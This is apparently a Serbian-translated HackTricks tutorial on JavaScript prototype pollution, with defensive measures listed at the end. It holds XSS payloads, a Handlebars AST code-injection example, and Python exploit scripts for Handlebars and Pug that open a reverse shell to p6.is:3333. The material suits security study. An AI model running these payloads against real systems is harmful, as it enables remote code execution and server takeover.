NodeJS - __proto__ & prototype Pollution

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Objekti u JavaScript-u

Objekti u JavaScript-u su suštinski kolekcije parova ključ-vrednost, poznate kao svojstva. Objekat se može kreirati korišćenjem Object.create sa null kao argumentom kako bi se proizveo prazan objekat. Ovaj metod omogućava kreiranje objekta bez ikakvih nasleđenih svojstava.

// Run this in the developers tools console
console.log(Object.create(null)); // This will output an empty object.

Funkcije i klase u JavaScript-u

U JavaScript-u, klase i funkcije su blisko povezane, pri čemu funkcije često služe kao konstruktori za klase. Uprkos nedostatku podrške za nativne klase u JavaScript-u, konstruktori mogu emulirati ponašanje klasa.

// Run this in the developers tools console

function Employee(name, position) {
this.name = name;
this.position = position;
this.introduce = function() {
return "My name is " + this.name + " and I work as a " + this.position + ".";
}
}

Employee.prototype

var employee1 = new Employee("Generic Employee", "Developer");

employee1.__proto__

Prototipovi u JavaScript-u

JavaScript omogućava modifikaciju, dodavanje ili brisanje prototipnih atributa tokom izvršavanja. Ova fleksibilnost omogućava dinamičko proširenje funkcionalnosti klase.

Funkcije poput toString i valueOf mogu biti izmenjene kako bi se promenilo njihovo ponašanje, što pokazuje prilagodljivu prirodu JavaScript-ovog prototipnog sistema.

Nasleđivanje

U programiranju zasnovanom na prototipovima, svojstva/metode se nasleđuju od objekata iz klasa. Ove klase se kreiraju dodavanjem svojstava/metoda ili instanci druge klase ili praznom objektu.

Važno je napomenuti da kada se svojstvo doda objektu koji služi kao prototip za druge objekte (kao što je myPersonObj), nasleđeni objekti dobijaju pristup ovom novom svojstvu. Međutim, ovo svojstvo se ne prikazuje automatski osim ako nije eksplicitno pozvano.

Zagađenje __proto__

Istraživanje Zagađenja Prototipa u JavaScript-u

JavaScript objekti su definisani parovima ključ-vrednost i nasleđuju se od JavaScript Object prototipa. To znači da izmena Object prototipa može uticati na sve objekte u okruženju.

Hajde da koristimo drugi primer kako bismo ilustrovali:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");

Pristup Prototipu objekta je moguć preko:

car1.__proto__.__proto__;
Vehicle.__proto__.__proto__;

Dodavanjem svojstava u Object prototype, svaki JavaScript objekat će naslediti ova nova svojstva:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");
// Adding a method to the Object prototype
car1.__proto__.__proto__.announce = function() { console.log("Beep beep!"); };
car1.announce(); // Outputs "Beep beep!"
// Adding a property to the Object prototype
car1.__proto__.__proto__.isVehicle = true;
console.log(car1.isVehicle); // Outputs true

zagađenje prototipa

Za scenarij u kojem je upotreba __proto__ ograničena, izmena prototipa funkcije je alternativa:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");
// Adding properties to the Vehicle prototype
Vehicle.prototype.beep = function() { console.log("Beep beep!"); };
car1.beep(); // Now works and outputs "Beep beep!"
Vehicle.prototype.hasWheels = true;
console.log(car1.hasWheels); // Outputs true

// Alternate method
car1.constructor.prototype.honk = function() { console.log("Honk!"); };
car1.constructor.prototype.isElectric = true;

Ovo utiče samo na objekte kreirane iz konstruktora Vehicle, dajući im osobine beep, hasWheels, honk i isElectric.

Dva načina za globalno uticanje na JavaScript objekte putem zagađenja prototipa uključuju:

  1. Zagađivanje Object.prototype direktno:

Object.prototype.goodbye = function() { console.log("Goodbye!"); };
  1. Zagađivanje prototipa konstruktora za često korišćenu strukturu:

var example = {"key": "value"};
example.constructor.prototype.greet = function() { console.log("Hello!"); };

Nakon ovih operacija, svaki JavaScript objekat može izvršiti goodbye i greet metode.

Zagađivanje drugih objekata

Od klase do Object.prototype

U scenariju gde možete zagađivati određeni objekat i trebate dostići Object.prototype možete pretražiti sa nečim sličnim sledećem kodu:

// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/

// Search from "window" object
for(let key of Object.getOwnPropertyNames(window)) {
if (window[key]?.constructor.prototype === Object.prototype) {
console.log(key)
}
}

// Imagine that the original object was document.querySelector('a')
// With this code you could find some attributes to get the object "window" from that one
for(let key1 in document.querySelector('a')) {
for(let key2 in document.querySelector('a')[key1]) {
if (document.querySelector('a')[key1][key2] === window) {
console.log(key1 + "." + key2)
}
}
}

Zagađenje elemenata niza

Imajte na umu da, kako možete zagađivati atribute objekata u JS-u, ako imate pristup zagađivanju niza, takođe možete zagađivati vrednosti niza koje su dostupne putem indeksa (imajte na umu da ne možete prepisati vrednosti, pa morate zagađivati indekse koji se na neki način koriste, ali nisu pisani).

c = [1,2]
a = []
a.constructor.prototype[1] = "yolo"
b = []
b[0] //undefined
b[1] //"yolo"
c[1] // 2 -- not

Zagađenje HTML elemenata

Prilikom generisanja HTML elementa putem JS-a moguće je prepisati atribut innerHTML kako bi se napisao proizvoljan HTML kod. Idea and example from this writeup.

// Create element
devSettings["root"] = document.createElement('main')

// Pollute innerHTML
settings[root][innerHTML]=<"svg onload=alert(1)>"

// Pollute innerHTML of the ownerProperty to avoid overwrites of innerHTML killing the payload
settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domain)>"

Primeri

Osnovni primer

Do protočna zagađenja dolazi zbog greške u aplikaciji koja omogućava prepisivanje svojstava na Object.prototype. To znači da pošto većina objekata izvodi svoja svojstva iz Object.prototype

Najjednostavniji primer je dodavanje vrednosti nedefinisanom atributu objekta koji će biti proveren, kao što je:

if (user.admin) {

Ako je atribut admin nedefinisan, moguće je zloupotrebiti PP i postaviti ga na True nečim poput:

Object.prototype.isAdmin = true
let user = {}
user.isAdmin // true

Mehanizam iza ovoga uključuje manipulisanje svojstvima tako da ako napadač ima kontrolu nad određenim ulazima, mogu izmeniti prototip svih objekata u aplikaciji. Ova manipulacija obično uključuje postavljanje svojstva __proto__, koje je u JavaScript-u sinonim za direktno modifikovanje prototipa objekta.

Uslovi pod kojima se ovaj napad može uspešno izvršiti, kako je navedeno u specifičnoj studiji, uključuju:

  • Izvođenje rekurzivnog spajanja.

  • Definisanje svojstava na osnovu putanje.

  • Kloniranje objekata.

Pregaziti funkciju

customer.__proto__.toString = ()=>{alert("polluted")}

Proto Zagađenje do RCE

pagePrototype Pollution to RCE

Drugi payload-ovi:

Klijentsko proto zagađenje do XSS

pageClient Side Prototype Pollution

CVE-2019–11358: Napad proto zagađenjem putem jQuery $ .extend

Za dalje detalje pogledajte ovaj članak U jQuery-u, funkcija $ .extend može dovesti do proto zagađenja ako se duboka kopija koristi nepravilno. Ova funkcija se obično koristi za kloniranje objekata ili spajanje svojstava iz podrazumevanog objekta. Međutim, kada je pogrešno konfigurisana, svojstva namenjena novom objektu mogu biti dodeljena prototipu umesto toga. Na primer:

$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'));
console.log({}.devMode); // Outputs: true

Ova ranjivost, identifikovana kao CVE-2019–11358, ilustruje kako duboka kopija može nenamerno izmeniti prototip, dovodeći do potencijalnih sigurnosnih rizika, kao što je neovlašćen pristup adminu ako se svojstva poput isAdmin provere bez odgovarajuće provere postojanja.

CVE-2018–3721, CVE-2019–10744: Napad prototipom kroz lodash

Za dalje detalje pogledajte ovaj članak

Lodash je naišao na slične ranjivosti prototipa (CVE-2018–3721, CVE-2019–10744). Ovi problemi su rešeni u verziji 4.17.11.

Još jedan tutorijal sa CVE-ovima

Alati za otkrivanje Prototip Pollution

  • Server-Side-Prototype-Pollution-Gadgets-Scanner: Burp Suite ekstenzija dizajnirana za otkrivanje i analizu ranjivosti prototipa zagađenja na serverskoj strani u veb aplikacijama. Ovaj alat automatizuje proces skeniranja za identifikaciju potencijalnih problema sa prototipom zagađenja. Iskorišćava poznate gedžete - metode za iskorišćavanje prototipnog zagađenja radi izvođenja štetnih radnji - posebno se fokusirajući na Node.js biblioteke.

  • server-side-prototype-pollution: Ova ekstenzija identifikuje ranjivosti prototipa zagađenja na serverskoj strani. Koristi tehnike opisane u prototipu zagađenja na serverskoj strani.

AST Prototip Pollution u NodeJS-u

NodeJS intenzivno koristi Apstraktne Sintaksne Stabla (AST) u JavaScript-u za funkcionalnosti poput mašina za šablone i TypeScript-a. Ova sekcija istražuje ranjivosti povezane sa prototipom zagađenja u mašinama za šablone, posebno Handlebars i Pug.

Analiza Ranjivosti Handlebars-a

Mašina za šablone Handlebars je podložna napadu prototipom zagađenja. Ova ranjivost proizilazi iz specifičnih funkcija unutar fajla javascript-compiler.js. Na primer, funkcija appendContent konkatenira pendingContent ako je prisutna, dok funkcija pushSource resetuje pendingContent na undefined nakon dodavanja izvora.

Proces eksploatacije

Eksploatacija koristi AST (Apstraktno Sintaksno Stablo) koje proizvodi Handlebars, sledeći ove korake:

  1. Manipulacija Parserom: Prvo, parser, putem čvora NumberLiteral, nameće da vrednosti budu numeričke. Prototipno zagađenje može zaobići ovo, omogućavajući umetanje ne-numeričkih nizova.

  2. Obrada od strane Kompajlera: Kompajler može obraditi AST objekat ili string šablona. Ako input.type jednak Program, ulaz se tretira kao prethodno parsiran, što može biti iskorišćeno.

  3. Umetanje Koda: Kroz manipulaciju Object.prototype, može se ubaciti proizvoljan kod u funkciju šablona, što može dovesti do izvršenja udaljenog koda.

Primer koji demonstrira eksploataciju ranjivosti Handlebars-a:

const Handlebars = require('handlebars');

Object.prototype.type = 'Program';
Object.prototype.body = [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('id').toString())"
}],
"loc": {
"start": 0,
"end": 0
}
}];

const source = `Hello {{ msg }}`;
const template = Handlebars.precompile(source);

console.log(eval('(' + template + ')')['main'].toString());

Ovaj kod prikazuje kako napadač može ubaciti proizvoljni kod u Handlebars predložak.

Spoljni Reference: Problem povezan sa zagađenjem prototipa pronađen je u 'flat' biblioteci, kako je detaljno opisano ovde: Issue on GitHub.

Spoljni Reference: Problem povezan sa zagađenjem prototipa u 'flat' biblioteci

Primer eksploatacije zagađenja prototipa u Pythonu:

import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.type": "Program",
"__proto__.body": [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}],
"loc": {
"start": 0,
"end": 0
}
}]
})

# execute
requests.get(TARGET_URL)

Pug Vulnerability

Pug, još jedan šablonski motor, suočava se sa sličnim rizikom od zagađenja prototipa. Detaljne informacije dostupne su u diskusiji o AST Injection in Pug.

Primer zagađenja prototipa u Pugu:

import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}
})

# execute
requests.get(TARGET_URL)

Preventivne mere

Da biste smanjili rizik od zagađenja prototipa, mogu se primeniti strategije navedene u nastavku:

  1. Nepromenljivost objekata: Object.prototype može se učiniti nepromenljivim primenom Object.freeze.

  2. Validacija unosa: JSON unosi treba rigorozno validirati prema šemi aplikacije.

  3. Funkcije sigurnog spajanja: Treba izbegavati nebezbednu upotrebu rekurzivnih funkcija spajanja.

  4. Objekti bez prototipa: Objekti bez prototipnih svojstava mogu se kreirati korišćenjem Object.create(null).

  5. Korišćenje mape: Umesto Object, treba koristiti Map za čuvanje parova ključ-vrednost.

  6. Ažuriranje biblioteka: Bezbednosni zakrpi mogu se uključiti redovnim ažuriranjem biblioteka.

  7. Linter i alati za statičku analizu: Koristite alate poput ESLint sa odgovarajućim dodacima za otkrivanje i sprečavanje ranjivosti zagađenja prototipa.

  8. Pregled koda: Sprovedite temeljne preglede koda kako biste identifikovali i otklonili potencijalne rizike povezane sa zagađenjem prototipa.

  9. Obuka o bezbednosti: Edukujte programere o rizicima zagađenja prototipa i najboljim praksama za pisanje bezbednog koda.

  10. Pažljivo korišćenje biblioteka: Budite oprezni prilikom korišćenja biblioteka trećih strana. Procenite njihovu bezbednosnu postavku i pregledajte njihov kod, posebno one koji manipulišu objektima.

  11. Zaštita tokom izvršavanja: Koristite mehanizme zaštite tokom izvršavanja poput korišćenja npm paketa fokusiranih na bezbednost koji mogu otkriti i sprečiti napade zagađenjem prototipa.

Reference

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated